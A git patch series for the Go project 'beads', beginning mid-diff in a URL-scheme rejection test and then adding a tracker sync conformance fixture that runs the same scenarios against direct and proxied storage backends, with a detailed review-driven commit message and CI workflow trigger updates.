guard that stops a URL being turned +// into a bogus local path. filepath.Abs treats "https://host/repo" as a +// relative path, so without the check this helper would hand DOLT_BACKUP +// "file:///cwd/https:/host/repo" and the failure would name a directory nobody +// asked for. No caller can reach it today — `bd backup restore` stats its +// argument first — but every caller is a restore path, and restore-from-a-remote +// is the open capability that would reach it. +func TestDirToFileURLRejectsSchemes(t *testing.T) { + for _, dir := range []string{ + "https://doltremoteapi.dolthub.com/user/repo", + "file:///already/a/url", + "aws://bucket/key", + "gs://bucket/key", + } { + if got, err := DirToFileURL(dir); err == nil { + t.Errorf("DirToFileURL(%q) = %q, want an error naming the scheme", dir, got) + } + } + + got, err := DirToFileURL("backups/nightly") + if err != nil { + t.Fatalf("DirToFileURL on a plain relative dir: %v", err) + } + if !strings.HasPrefix(got, "file://") || strings.Contains(got, "://backups") { + t.Fatalf("DirToFileURL(%q) = %q", "backups/nightly", got) + } +} + func TestExtractAddressConflictName(t *testing.T) { tests := []struct { name string From 9fdd8f628dd954ac9c4357ad9db12388280fcd85 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 23 Sep 2026 02:19:18 -0700 Subject: [PATCH 065/624] test(tracker): add real UOW proxy conformance fixture (#6445) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(tracker): add real proxy UOW conformance fixture (ga-p9iuv.25.1) Agent-Signature: Codex (unknown-model; unknown-reasoning) * test(tracker): harden proxy fixture evidence (ga-p9iuv.25.1) Agent-Signature: Codex (unknown-model; unknown-reasoning) * test(tracker): route conformance fetch through HTTP double Agent-Signature: Codex (unknown-model; unknown-reasoning) * fix(review): address adopt-pr review findings on the proxy conformance fixture Gating major (synthesis Finding 1, option b): the suite certified direct-vs-proxied parity while its two legs ran on divergent persisted state. `seedTrackerConformance` seeded `Labels: ["old"]` through `tracker.Store.CreateIssue`, which is not label-faithful across the backends — the direct store persists `issue.Labels` via `PersistLabels`, while the UOW store creates through `domain.CreateIssueParams{Issue: issue}` with `Labels` unset and the domain create writes labels only from `params.Labels`. Probed on both real backends: direct read back ["old"], proxied read back nil. Drop the seed labels so both legs start identical, and document the create-path blind spot in `run.go` and in the seed helper. The production defect it exposes is pre-existing at base and is tracked in bd-p0n1 with the required fix (pass `Labels` in `uowStore.CreateIssue` plus engine-create normalization, since the domain label insert hard-errors on an empty label that direct `PersistLabels` accepts). Non-gating findings folded in: - Finding 2: sort in the fake's `normalizedLabels` so it matches the production `normalizedStringSlice` it mirrors; both real legs read labels back ORDER BY label, so the divergence would have inverted the fixture's authority on the first multi-label assertion. - Finding 3: drop the `api_only_does_not_open_uow` open-count assertion and the "prove ... does not initialize persistence" wording. Both in-repo adopters supply synthetic API-only callbacks that never call the opener, so the assertion could not fail. The subtest now routes through `newSetup` like its siblings and is named for what it checks. - Finding 4: assert the pulled dependency through `Snapshot.Dependencies` and retire the parallel `DependencyExists` callback. One mechanism instead of two, and it makes the field the dry-run and refusal DeepEqual comparisons already carry load-bearing. - Finding 5: add scoped `paths:` entries for this suite to the proxied-local smoke lane, which matched none of these files and only ran via manual dispatch. Keyed to the lane's own selector rather than `internal/tracker/**` so unrelated tracker churn does not fire it. Also assert `TestManagedLocalProxiedTrackerUOWConformance` is compiled into the lane, so the trigger and the coverage stay honest together. Validation: `go test ./internal/tracker/conformance ./internal/tracker`; `TestDirectTrackerConformance` and `TestManagedLocalProxiedTrackerUOWConformance` both green against real embedded-Dolt and managed-local proxied backends. Current review fixes (gcg-699284130204931139): - Restore optional mutation-count assertions on the map-backed leg to catch state-identical writes; compare both issue planes in all snapshots and include tracker push-hash metadata on real backends. - Add a normal-lane UOW update test for label trimming, deduplication, sorting, omitted labels, and explicit empty-label replacement. - Fully populate the fake wisp-only seed, remove unused open accounting, isolate and decode the API-only response, and select the proxied lane when either shared tracker seam changes. Focused validation: tracker and conformance packages; both real backend conformance suites (all six subtests each); make ci-pr-lint on Linux and Windows. Overlay probes confirmed the unit test fails without normalization and the no-mutation assertion fails for a state-identical write. Full make test was run once: the two serve failures reproduce on base 71c4cd08b (the role-identity test under atomic coverage, and the server-start test without an events-journal backend). The remaining stderr/configuration failures pass on base and head after clearing inherited BD_OTEL_* and BEADS_DOLT_SERVER_USER. These unrelated base/environment failures were not changed in this review fixup. Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Julian Knutsen --- .github/workflows/proxied-local-smoke.yml | 13 +- ..._proxy_uow_conformance_integration_test.go | 259 ++++++++++++++++++ .../tracker/conformance/conformance_test.go | 73 ++++- internal/tracker/conformance/run.go | 211 ++++++++------ internal/tracker/conformance/store.go | 51 +++- internal/tracker/uow_store.go | 2 +- internal/tracker/uow_store_engine_test.go | 38 ++- 7 files changed, 549 insertions(+), 98 deletions(-) create mode 100644 cmd/bd/tracker_proxy_uow_conformance_integration_test.go diff --git a/.github/workflows/proxied-local-smoke.yml b/.github/workflows/proxied-local-smoke.yml index c3430d291..49d7a5128 100644 --- a/.github/workflows/proxied-local-smoke.yml +++ b/.github/workflows/proxied-local-smoke.yml @@ -30,11 +30,16 @@ on: - 'cmd/bd/proxied_integration_helpers_test.go' - 'cmd/bd/store_factory*.go' - 'cmd/bd/test_dolt_server_cgo_test.go' + - 'cmd/bd/tracker_proxy_uow_conformance_integration_test.go' - 'cmd/bd/uow_factory.go' - 'internal/configfile/**' - 'internal/doltserver/**' - 'internal/storage/dbproxy/**' - 'internal/storage/uow/**' + - 'internal/tracker/conformance/**' + - 'internal/tracker/uow_store.go' + - 'internal/tracker/engine.go' + - 'internal/tracker/store.go' - 'go.mod' - 'go.sum' - '.github/workflows/proxied-local-smoke.yml' @@ -51,11 +56,16 @@ on: - 'cmd/bd/proxied_integration_helpers_test.go' - 'cmd/bd/store_factory*.go' - 'cmd/bd/test_dolt_server_cgo_test.go' + - 'cmd/bd/tracker_proxy_uow_conformance_integration_test.go' - 'cmd/bd/uow_factory.go' - 'internal/configfile/**' - 'internal/doltserver/**' - 'internal/storage/dbproxy/**' - 'internal/storage/uow/**' + - 'internal/tracker/conformance/**' + - 'internal/tracker/uow_store.go' + - 'internal/tracker/engine.go' + - 'internal/tracker/store.go' - 'go.mod' - 'go.sum' - '.github/workflows/proxied-local-smoke.yml' @@ -114,7 +124,8 @@ jobs: TestManagedLocalProxiedDoltStatusReportsLiveTopology \ TestManagedLocalProxiedDoltStartRefusesOverLiveProxy \ TestManagedLocalProxiedDoltStartRefusesWithProxyDown \ - TestManagedLocalProxiedDoltLifecycleLeavesOtherTopologiesAlone + TestManagedLocalProxiedDoltLifecycleLeavesOtherTopologiesAlone \ + TestManagedLocalProxiedTrackerUOWConformance do if ! grep -qx "$test_name" <<<"$listed"; then echo "managed-local lifecycle test $test_name is missing; got: '$listed'" >&2 diff --git a/cmd/bd/tracker_proxy_uow_conformance_integration_test.go b/cmd/bd/tracker_proxy_uow_conformance_integration_test.go new file mode 100644 index 000000000..1361b243a --- /dev/null +++ b/cmd/bd/tracker_proxy_uow_conformance_integration_test.go @@ -0,0 +1,259 @@ +//go:build cgo && unix + +package main + +import ( + "context" + "encoding/json" + "fmt" + "net/http" + "os/exec" + "sort" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/storage/uow" + "github.com/steveyegge/beads/internal/tracker" + trackerconformance "github.com/steveyegge/beads/internal/tracker/conformance" + "github.com/steveyegge/beads/internal/types" +) + +// TestDirectTrackerConformance is the direct-storage leg of the same shared +// scenario used by the managed-local proxy test below. Keeping both legs on +// Run prevents the proxy assertion from becoming a one-sided contract. +func TestDirectTrackerConformance(t *testing.T) { + bd := buildBDForInitTests(t) + trackerconformance.Run(t, func(t *testing.T, f *trackerconformance.Fixture) trackerconformance.Setup { + dir, beadsDir, _ := bdInit(t, bd, "--prefix", "trkpx", "--non-interactive", "--skip-hooks", "--skip-agents") + cmd := exec.Command(bd, "config", "set", "test.project", "PROJ") + cmd.Dir, cmd.Env = dir, bdEnv(dir) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("set tracker config through bd front door: %v\n%s", err, out) + } + raw, err := newDoltStoreFromConfig(context.Background(), beadsDir) + if err != nil { + t.Fatalf("open direct tracker store: %v", err) + } + t.Cleanup(func() { _ = raw.Close() }) + store := tracker.NewStore(raw) + seedTrackerConformance(t, store) + return trackerConformanceSetup(store, func(ctx context.Context, issue *types.Issue) error { return raw.CreateIssue(ctx, issue, "conformance") }, f) + }) +} + +// TestManagedLocalProxiedTrackerUOWConformance runs the shared tracker scenario +// through a real managed-local proxy and UOW provider. The normal conformance +// fixture remains map-backed for adapter tests; this test owns the distinct +// persistence and proxy boundary risk. +func TestManagedLocalProxiedTrackerUOWConformance(t *testing.T) { + requireManagedLocalProxiedEnv(t) + bd := buildBDForInitTests(t) + + trackerconformance.Run(t, func(t *testing.T, f *trackerconformance.Fixture) trackerconformance.Setup { + p := bdManagedLocalInit(t, bd, "trkpx", 5*time.Minute) + if out, err := bdProxiedRun(t, bd, p.dir, "config", "set", "test.project", "PROJ"); err != nil { + t.Fatalf("set tracker config through bd front door: %v\n%s", err, out) + } + + provider, err := newProxiedServerUOWProvider(context.Background(), p.beadsDir, "") + if err != nil { + t.Fatalf("open managed-local proxy UOW provider: %v", err) + } + t.Cleanup(func() { _ = provider.Close(context.Background()) }) + store := tracker.NewUOWStore(provider) + seedTrackerConformance(t, store) + return trackerConformanceSetup(store, func(ctx context.Context, wisp *types.Issue) error { + if err := uow.RunTx(ctx, provider, func(ctx context.Context, uw uow.UnitOfWork) (string, error) { + _, err := uw.IssueUseCase().CreateWisp(ctx, domain.CreateIssueParams{Issue: wisp}, "conformance") + return "bd: tracker conformance wisp", err + }); err != nil { + return err + } + return nil + }, f) + }) +} + +// seedTrackerConformance plants the shared pre-pull state for both legs. +// +// It deliberately seeds NO labels. Store.CreateIssue is not label-faithful +// across the two backends: the direct store persists issue.Labels through +// PersistLabels, while the UOW store creates through +// domain.CreateIssueParams{Issue: issue} with Labels unset and the domain +// create writes labels only from params.Labels — so a seeded label would +// survive on the direct leg and vanish on the proxied one. Running the two +// legs on divergent state would let this suite report parity it never +// checked. Create-path parity is tracked in bd-p0n1; once the UOW store +// passes labels through, the seed can carry them again. +func seedTrackerConformance(t *testing.T, store tracker.Store) { + t.Helper() + ref := "https://tracker.test/EXT-1" + seed := &types.Issue{ID: "trkpx-1", Title: "local", Status: types.StatusOpen, IssueType: types.TypeTask, Priority: 2, ExternalRef: &ref, UpdatedAt: time.Date(2026, 9, 3, 0, 0, 0, 0, time.UTC)} + if err := store.CreateIssue(context.Background(), seed, "conformance"); err != nil { + t.Fatalf("seed tracker issue: %v", err) + } +} + +func trackerConformanceSetup(store tracker.Store, createWisp func(context.Context, *types.Issue) error, f *trackerconformance.Fixture) trackerconformance.Setup { + ref := "https://tracker.test/EXT-1" + f.StoreFactory = &proxyTrackerStoreFactory{store: store} + f.HTTP.Enqueue(trackerconformance.Response{Body: `[{"id":"EXT-1","identifier":"EXT-1","url":"https://tracker.test/EXT-1","title":"remote","updated_at":"2026-09-03T01:00:00Z","labels":[" bug ","","bug"]},{"id":"EXT-2","identifier":"EXT-2","url":"https://tracker.test/EXT-2","title":"dependent","updated_at":"2026-09-03T01:00:00Z"}]`}) + return trackerconformance.Setup{Engine: tracker.NewEngine(&proxyConformanceTracker{client: f.HTTP.Client()}, store, "conformance"), Store: store, + Snapshot: func(ctx context.Context) (trackerconformance.Snapshot, error) { + return proxyTrackerSnapshot(ctx, store, "test.last_sync") + }, + SeedExternalRefPlanes: func(ctx context.Context) (string, string, error) { + wisp := &types.Issue{ID: "aaa-wisp-trkpx-1", Title: "pushed wisp", Status: types.StatusOpen, IssueType: types.TypeTask, Priority: 2, Ephemeral: true, ExternalRef: &ref} + if err := createWisp(ctx, wisp); err != nil { + return "", "", err + } + otherRef := ref + "-wisp-only" + only := &types.Issue{ID: "wisp-only", Title: "wisp only", Status: types.StatusOpen, IssueType: types.TypeTask, Priority: 2, Ephemeral: true, ExternalRef: &otherRef} + return "trkpx-1", "wisp-only", createWisp(ctx, only) + }, + Expected: trackerconformance.Expected{ExternalRef: ref, ConfigKey: "test.project", MetadataKey: "test.last_sync"}, + Refusal: func(context.Context) (*tracker.SyncResult, error) { + return nil, &storage.ErrUnsupported{Op: "proxy-only operation", Backend: "conformance"} + }, + APIOnly: func(ctx context.Context, _ func() tracker.Store) error { + double := trackerconformance.NewHTTPDouble() + double.Enqueue(trackerconformance.Response{Status: http.StatusOK, Body: `{"teams":[]}`}) + req, err := http.NewRequestWithContext(ctx, http.MethodGet, "https://tracker.test/teams", nil) + if err != nil { + return err + } + resp, err := double.Client().Do(req) + if err != nil { + return err + } + defer resp.Body.Close() + var body struct{ Teams []json.RawMessage } + if err := json.NewDecoder(resp.Body).Decode(&body); err != nil { + return err + } + if body.Teams == nil || len(body.Teams) != 0 { + return fmt.Errorf("expected empty teams response, got %+v", body) + } + return nil + }, + } +} + +type proxyTrackerStoreFactory struct { + store tracker.Store +} + +func (f *proxyTrackerStoreFactory) Open() tracker.Store { return f.store } + +func proxyTrackerSnapshot(ctx context.Context, store tracker.Store, lastSyncKey string) (trackerconformance.Snapshot, error) { + // The unfiltered search includes durable issues and all wisps, including + // NoHistory rows whose Ephemeral flag may be false. + issues, err := store.SearchIssues(ctx, "", types.IssueFilter{}) + if err != nil { + return trackerconformance.Snapshot{}, err + } + config, err := store.GetAllConfig(ctx) + if err != nil { + return trackerconformance.Snapshot{}, err + } + lastSync, err := store.GetLocalMetadata(ctx, lastSyncKey) + if err != nil { + return trackerconformance.Snapshot{}, err + } + snapshot := trackerconformance.Snapshot{Issues: make(map[string]types.Issue, len(issues)), Dependencies: map[string][]string{}, Config: config, Metadata: map[string]string{lastSyncKey: lastSync}, LastSync: lastSync} + for _, issue := range issues { + if issue == nil { + continue + } + copy := *issue + copy.Labels = append([]string(nil), issue.Labels...) + if issue.ExternalRef != nil { + ref := *issue.ExternalRef + copy.ExternalRef = &ref + } + snapshot.Issues[copy.ID] = copy + // Tracker-owned metadata is enumerable from the rows in this snapshot; + // tracker.Store deliberately has no general metadata-listing API. + pushHashKey := strings.TrimSuffix(lastSyncKey, ".last_sync") + ".pushhash." + copy.ID + pushHash, err := store.GetLocalMetadata(ctx, pushHashKey) + if err != nil { + return trackerconformance.Snapshot{}, err + } + snapshot.Metadata[pushHashKey] = pushHash + deps, err := store.GetDependenciesWithMetadata(ctx, copy.ID) + if err != nil { + return trackerconformance.Snapshot{}, err + } + for _, dep := range deps { + snapshot.Dependencies[copy.ID] = append(snapshot.Dependencies[copy.ID], dep.ID) + } + sort.Strings(snapshot.Dependencies[copy.ID]) + } + return snapshot, nil +} + +type proxyConformanceTracker struct{ client *http.Client } + +func (*proxyConformanceTracker) Name() string { return "test" } +func (*proxyConformanceTracker) DisplayName() string { return "Test" } +func (*proxyConformanceTracker) ConfigPrefix() string { return "test" } +func (*proxyConformanceTracker) Init(context.Context, tracker.Store) error { return nil } +func (*proxyConformanceTracker) Validate() error { return nil } +func (*proxyConformanceTracker) Close() error { return nil } +func (t *proxyConformanceTracker) FetchIssues(ctx context.Context, _ tracker.FetchOptions) ([]tracker.TrackerIssue, error) { + req, err := http.NewRequestWithContext(ctx, http.MethodGet, "https://tracker.test/issues", nil) + if err != nil { + return nil, err + } + resp, err := t.client.Do(req) + if err != nil { + return nil, err + } + defer resp.Body.Close() + var issues []tracker.TrackerIssue + err = json.NewDecoder(resp.Body).Decode(&issues) + return issues, err +} +func (*proxyConformanceTracker) FetchIssue(context.Context, string) (*tracker.TrackerIssue, error) { + return nil, nil +} +func (*proxyConformanceTracker) CreateIssue(context.Context, *types.Issue) (*tracker.TrackerIssue, error) { + return &tracker.TrackerIssue{ID: "EXT-3", Identifier: "EXT-3", URL: "https://tracker.test/EXT-3"}, nil +} +func (*proxyConformanceTracker) UpdateIssue(context.Context, string, *types.Issue) (*tracker.TrackerIssue, error) { + return &tracker.TrackerIssue{ID: "EXT-1", Identifier: "EXT-1", URL: "https://tracker.test/EXT-1"}, nil +} +func (*proxyConformanceTracker) FieldMapper() tracker.FieldMapper { return proxyConformanceMapper{} } +func (*proxyConformanceTracker) IsExternalRef(string) bool { return true } +func (*proxyConformanceTracker) ExtractIdentifier(ref string) string { + return ref[strings.LastIndex(ref, "/")+1:] +} +func (*proxyConformanceTracker) BuildExternalRef(issue *tracker.TrackerIssue) string { + return issue.URL +} + +type proxyConformanceMapper struct{} + +func (proxyConformanceMapper) PriorityToBeads(interface{}) int { return 2 } +func (proxyConformanceMapper) PriorityToTracker(int) interface{} { return 2 } +func (proxyConformanceMapper) StatusToBeads(interface{}) types.Status { return types.StatusOpen } +func (proxyConformanceMapper) StatusToTracker(types.Status) interface{} { return "open" } +func (proxyConformanceMapper) TypeToBeads(interface{}) types.IssueType { return types.TypeTask } +func (proxyConformanceMapper) TypeToTracker(types.IssueType) interface{} { return "task" } +func (proxyConformanceMapper) IssueToBeads(issue *tracker.TrackerIssue) *tracker.IssueConversion { + id := "trkpx-2" + if issue.Identifier == "EXT-1" { + id = "trkpx-1" + } + conversion := &tracker.IssueConversion{Issue: &types.Issue{ID: id, Title: issue.Title, Status: types.StatusClosed, IssueType: types.TypeTask, Priority: 2, Labels: issue.Labels}} + if issue.Identifier == "EXT-2" { + conversion.Dependencies = []tracker.DependencyInfo{{FromExternalID: "EXT-2", ToExternalID: "EXT-1", Type: "blocks", Source: tracker.DependencySourceRelation}} + } + return conversion +} +func (proxyConformanceMapper) IssueToTracker(issue *types.Issue) map[string]interface{} { + return map[string]interface{}{"title": issue.Title} +} diff --git a/internal/tracker/conformance/conformance_test.go b/internal/tracker/conformance/conformance_test.go index c2d03bbba..ac189b934 100644 --- a/internal/tracker/conformance/conformance_test.go +++ b/internal/tracker/conformance/conformance_test.go @@ -2,6 +2,8 @@ package conformance import ( "context" + "encoding/json" + "fmt" "net/http" "strings" "testing" @@ -17,19 +19,51 @@ func TestRunWithEngineAndUOWFixture(t *testing.T) { store := f.StoreFactory.Open().(*Store) store.Config["test.project"] = "PROJ" ref := "https://tracker.test/EXT-1" + // Seeded straight into the map rather than through Store.CreateIssue, + // so the create-path label blind spot Run documents does not apply and + // the pre-existing label can stay: it makes the suite's single-label + // assertion prove the update REPLACES labels instead of merging them. + // The real-backend legs cannot seed labels this way, so this is the + // one leg carrying that coverage until create-path parity lands. store.Issues["bd-1"] = &types.Issue{ID: "bd-1", Title: "local", Status: types.StatusOpen, IssueType: types.TypeTask, Priority: 2, Labels: []string{"old"}, ExternalRef: &ref, UpdatedAt: time.Date(2026, 9, 3, 0, 0, 0, 0, time.UTC)} - remote := &mockTracker{} + f.HTTP.Enqueue(Response{Status: http.StatusOK, Body: `[{"id":"EXT-1","identifier":"EXT-1","url":"https://tracker.test/EXT-1","title":"remote","updated_at":"2026-09-03T01:00:00Z","labels":[" bug ","","bug"]},{"id":"EXT-2","identifier":"EXT-2","url":"https://tracker.test/EXT-2","title":"dependent","updated_at":"2026-09-03T01:00:00Z"}]`}) + remote := &mockTracker{client: f.HTTP.Client()} return Setup{ - Engine: tracker.NewEngine(remote, store, "conformance"), - Store: store, + Engine: tracker.NewEngine(remote, store, "conformance"), + Store: store, + Snapshot: func(context.Context) (Snapshot, error) { return store.Snapshot(), nil }, + MutationCount: store.MutationCount, + SeedExternalRefPlanes: func(context.Context) (string, string, error) { + ref := "https://tracker.test/EXT-1" + store.Wisps["aaa-wisp-bd-1"] = &types.Issue{ID: "aaa-wisp-bd-1", Title: "pushed wisp", Status: types.StatusOpen, IssueType: types.TypeTask, Priority: 2, Ephemeral: true, ExternalRef: &ref} + otherRef := ref + "-wisp-only" + store.Wisps["wisp-only"] = &types.Issue{ID: "wisp-only", Title: "wisp only", Status: types.StatusOpen, IssueType: types.TypeTask, Priority: 2, Ephemeral: true, ExternalRef: &otherRef} + return "bd-1", "wisp-only", nil + }, Expected: Expected{ExternalRef: ref, ConfigKey: "test.project", MetadataKey: "test.last_sync"}, Refusal: func(context.Context) (*tracker.SyncResult, error) { return nil, &storage.ErrUnsupported{Op: "proxy-only operation", Backend: "conformance"} }, APIOnly: func(ctx context.Context, _ func() tracker.Store) error { - f.HTTP.Enqueue(Response{Status: http.StatusOK, Body: `{"teams":[]}`}) - _, err := f.HTTP.Client().Get("https://tracker.test/teams") - return err + double := NewHTTPDouble() + double.Enqueue(Response{Status: http.StatusOK, Body: `{"teams":[]}`}) + req, err := http.NewRequestWithContext(ctx, http.MethodGet, "https://tracker.test/teams", nil) + if err != nil { + return err + } + resp, err := double.Client().Do(req) + if err != nil { + return err + } + defer resp.Body.Close() + var body struct{ Teams []json.RawMessage } + if err := json.NewDecoder(resp.Body).Decode(&body); err != nil { + return err + } + if body.Teams == nil || len(body.Teams) != 0 { + return fmt.Errorf("expected empty teams response, got %+v", body) + } + return nil }, } }) @@ -68,7 +102,7 @@ func TestHTTPDoubleRecordsBodyAndTransportError(t *testing.T) { } } -type mockTracker struct{} +type mockTracker struct{ client *http.Client } func (*mockTracker) Name() string { return "test" } func (*mockTracker) DisplayName() string { return "Test" } @@ -76,8 +110,19 @@ func (*mockTracker) ConfigPrefix() string { return "test" } func (*mockTracker) Init(context.Context, tracker.Store) error { return nil } func (*mockTracker) Validate() error { return nil } func (*mockTracker) Close() error { return nil } -func (*mockTracker) FetchIssues(context.Context, tracker.FetchOptions) ([]tracker.TrackerIssue, error) { - return []tracker.TrackerIssue{{ID: "EXT-1", Identifier: "EXT-1", URL: "https://tracker.test/EXT-1", Title: "remote", UpdatedAt: time.Date(2026, 9, 3, 1, 0, 0, 0, time.UTC), Labels: []string{"bug"}}}, nil +func (t *mockTracker) FetchIssues(ctx context.Context, _ tracker.FetchOptions) ([]tracker.TrackerIssue, error) { + req, err := http.NewRequestWithContext(ctx, http.MethodGet, "https://tracker.test/issues", nil) + if err != nil { + return nil, err + } + resp, err := t.client.Do(req) + if err != nil { + return nil, err + } + defer resp.Body.Close() + var issues []tracker.TrackerIssue + err = json.NewDecoder(resp.Body).Decode(&issues) + return issues, err } func (*mockTracker) FetchIssue(context.Context, string) (*tracker.TrackerIssue, error) { return nil, nil @@ -102,7 +147,15 @@ func (mockMapper) StatusToTracker(types.Status) interface{} { return "open" } func (mockMapper) TypeToBeads(interface{}) types.IssueType { return types.TypeTask } func (mockMapper) TypeToTracker(types.IssueType) interface{} { return "task" } func (mockMapper) IssueToBeads(issue *tracker.TrackerIssue) *tracker.IssueConversion { - return &tracker.IssueConversion{Issue: &types.Issue{ID: "bd-2", Title: issue.Title, Status: types.StatusOpen, IssueType: types.TypeTask, Priority: 2, Labels: issue.Labels}} + id := "bd-2" + if issue.Identifier == "EXT-1" { + id = "bd-1" + } + conversion := &tracker.IssueConversion{Issue: &types.Issue{ID: id, Title: issue.Title, Status: types.StatusClosed, IssueType: types.TypeTask, Priority: 2, Labels: issue.Labels}} + if issue.Identifier == "EXT-2" { + conversion.Dependencies = []tracker.DependencyInfo{{FromExternalID: "EXT-2", ToExternalID: "EXT-1", Type: "blocks", Source: tracker.DependencySourceRelation}} + } + return conversion } func (mockMapper) IssueToTracker(issue *types.Issue) map[string]interface{} { return map[string]interface{}{"title": issue.Title} diff --git a/internal/tracker/conformance/run.go b/internal/tracker/conformance/run.go index 895c27b4c..cf8ef3ac4 100644 --- a/internal/tracker/conformance/run.go +++ b/internal/tracker/conformance/run.go @@ -13,45 +13,54 @@ import ( // Snapshot is the normalized local state inspected by the shared suite. type Snapshot struct { - Issues map[string]types.Issue - Config map[string]string - Metadata map[string]string - LastSync string + Issues map[string]types.Issue + Dependencies map[string][]string + Config map[string]string + Metadata map[string]string + LastSync string } // Fixture contains deterministic HTTP and local-store dependencies for one -// adapter test. StoreFactory counts opens so API-only operations can prove -// that they do not initialize local persistence. +// adapter test. StoreFactory is the seam an adapter's front door uses to +// obtain a store, so a future API-only front door can be observed deciding +// not to open one. type Fixture struct { HTTP *HTTPDouble - StoreFactory *Factory + StoreFactory StoreFactory } -// Factory is a fake UOW factory. Each Open returns the same map-backed store, -// while OpenCount records initialization attempts. +// StoreFactory opens a tracker store for a front-door operation. +type StoreFactory interface { + Open() tracker.Store +} + +// Factory supplies the same map-backed store to each front-door operation. type Factory struct { Store *Store - opens int } // NewFactory returns a fixture factory with an empty store. func NewFactory() *Factory { return &Factory{Store: NewStore()} } -// Open returns the tracker store and records one UOW open. -func (f *Factory) Open() tracker.Store { f.opens++; return f.Store } - -// OpenCount reports the number of UOW opens. -func (f *Factory) OpenCount() int { return f.opens } +// Open returns the tracker store. +func (f *Factory) Open() tracker.Store { return f.Store } // Setup binds an existing tracker.Engine to fixture assertions. Refusal and // APIOnly are adapter-specific front doors; keeping them callbacks avoids // inventing a backend-neutral command API. type Setup struct { Engine *tracker.Engine - Store *Store - Expected Expected - Refusal func(context.Context) (*tracker.SyncResult, error) - APIOnly func(context.Context, func() tracker.Store) error + Store tracker.Store + Snapshot func(context.Context) (Snapshot, error) + // MutationCount detects state-identical writes when the backend exposes + // a counter. Real backends may leave it nil and compare snapshots only. + MutationCount func() int + // SeedExternalRefPlanes prepares the durable/wisp collision that proves + // durable issues win external-ref lookup. It returns the durable issue ID. + SeedExternalRefPlanes func(context.Context) (string, string, error) + Expected Expected + Refusal func(context.Context) (*tracker.SyncResult, error) + APIOnly func(context.Context, func() tracker.Store) error } // Expected identifies adapter-specific values that the generic suite must @@ -66,17 +75,17 @@ type Expected struct { func Run(t *testing.T, build func(*testing.T, *Fixture) Setup) { t.Helper() ctx := context.Background() - newSetup := func(t *testing.T) Setup { + newSetup := func(t *testing.T) (Setup, *Fixture) { fixture := &Fixture{HTTP: NewHTTPDouble(), StoreFactory: NewFactory()} setup := build(t, fixture) - if setup.Engine == nil || setup.Store == nil || setup.Refusal == nil || setup.APIOnly == nil || setup.Expected.ExternalRef == "" || setup.Expected.ConfigKey == "" || setup.Expected.MetadataKey == "" { - t.Fatal("setup must provide Engine, Store, Expected refs/config/metadata, Refusal, and APIOnly") + if setup.Engine == nil || setup.Store == nil || setup.Snapshot == nil || setup.SeedExternalRefPlanes == nil || setup.Refusal == nil || setup.APIOnly == nil || setup.Expected.ExternalRef == "" || setup.Expected.ConfigKey == "" || setup.Expected.MetadataKey == "" { + t.Fatal("setup must provide Engine, Store, Snapshot, external-ref seed, Expected refs/config/metadata, Refusal, and APIOnly") } - return setup + return setup, fixture } t.Run("pull_persists_normalized_fields_and_last_sync", func(t *testing.T) { - s := newSetup(t) + s, _ := newSetup(t) result, err := s.Engine.Sync(ctx, tracker.SyncOptions{Pull: true}) if err != nil { t.Fatalf("pull: %v", err) @@ -84,22 +93,56 @@ func Run(t *testing.T, build func(*testing.T, *Fixture) Setup) { if result == nil || !result.Success { t.Fatalf("pull result = %+v", result) } - snapshot := s.Store.Snapshot() + snapshot, err := s.Snapshot(ctx) + if err != nil { + t.Fatalf("snapshot after pull: %v", err) + } if len(snapshot.Issues) == 0 { t.Fatal("pull created no local issue") } + var pulled *types.Issue for _, issue := range snapshot.Issues { - if issue.ExternalRef == nil || *issue.ExternalRef != s.Expected.ExternalRef || len(issue.Labels) == 0 { - t.Fatalf("pull lost external ref/labels: %+v", issue) + if issue.ExternalRef != nil && *issue.ExternalRef == s.Expected.ExternalRef { + copy := issue + pulled = © + break } } + // Labels are certified on the UPDATE path only. Create-path label + // parity is a known blind spot: tracker's UOW store creates through + // domain.CreateIssueParams{Issue: issue} with Labels unset, and the + // domain create writes labels only from params.Labels, so a proxied + // create drops every label a direct create persists (bd-p0n1). + // Adopters must therefore not seed labels through Store.CreateIssue — + // doing so puts the two legs on divergent state and makes this suite + // certify a parity it never checked. + if pulled == nil || len(pulled.Labels) != 1 || pulled.Labels[0] != "bug" || pulled.Status != types.StatusClosed { + t.Fatalf("pull lost normalized fields: %+v", pulled) + } + // The pulled dependency must be visible in the same Snapshot every + // other assertion reads, so the dry-run and refusal comparisons cover + // the dependency plane too. + dependent := "" + for id, targets := range snapshot.Dependencies { + if id == pulled.ID { + continue + } + for _, target := range targets { + if target == pulled.ID { + dependent = id + } + } + } + if dependent == "" { + t.Fatalf("pull did not persist a dependency onto %s: %+v", pulled.ID, snapshot.Dependencies) + } if result.LastSync == "" || snapshot.LastSync != result.LastSync { t.Fatalf("pull last_sync result=%q snapshot=%q", result.LastSync, snapshot.LastSync) } }) t.Run("push_persists_config_and_metadata", func(t *testing.T) { - s := newSetup(t) + s, _ := newSetup(t) result, err := s.Engine.Sync(ctx, tracker.SyncOptions{Push: true}) if err != nil { t.Fatalf("push: %v", err) @@ -107,15 +150,18 @@ func Run(t *testing.T, build func(*testing.T, *Fixture) Setup) { if result == nil || !result.Success { t.Fatalf("push result = %+v", result) } - snapshot := s.Store.Snapshot() + snapshot, err := s.Snapshot(ctx) + if err != nil { + t.Fatalf("snapshot after push: %v", err) + } if snapshot.Config[s.Expected.ConfigKey] == "" || snapshot.Metadata[s.Expected.MetadataKey] == "" { t.Fatalf("push did not persist config/metadata: %+v", snapshot) } }) t.Run("dry_run_does_not_mutate", func(t *testing.T) { - s := newSetup(t) - before, writes := s.Store.Snapshot(), s.Store.MutationCount() + s, _ := newSetup(t) + assertUnchanged := noMutationCheck(t, ctx, s) for name, opts := range map[string]tracker.SyncOptions{"pull": {Pull: true, DryRun: true}, "push": {Push: true, DryRun: true}} { result, err := s.Engine.Sync(ctx, opts) if err != nil { @@ -125,14 +171,12 @@ func Run(t *testing.T, build func(*testing.T, *Fixture) Setup) { t.Fatalf("%s dry-run result = %+v", name, result) } } - if !reflect.DeepEqual(before, s.Store.Snapshot()) || writes != s.Store.MutationCount() { - t.Fatal("dry-run changed local state") - } + 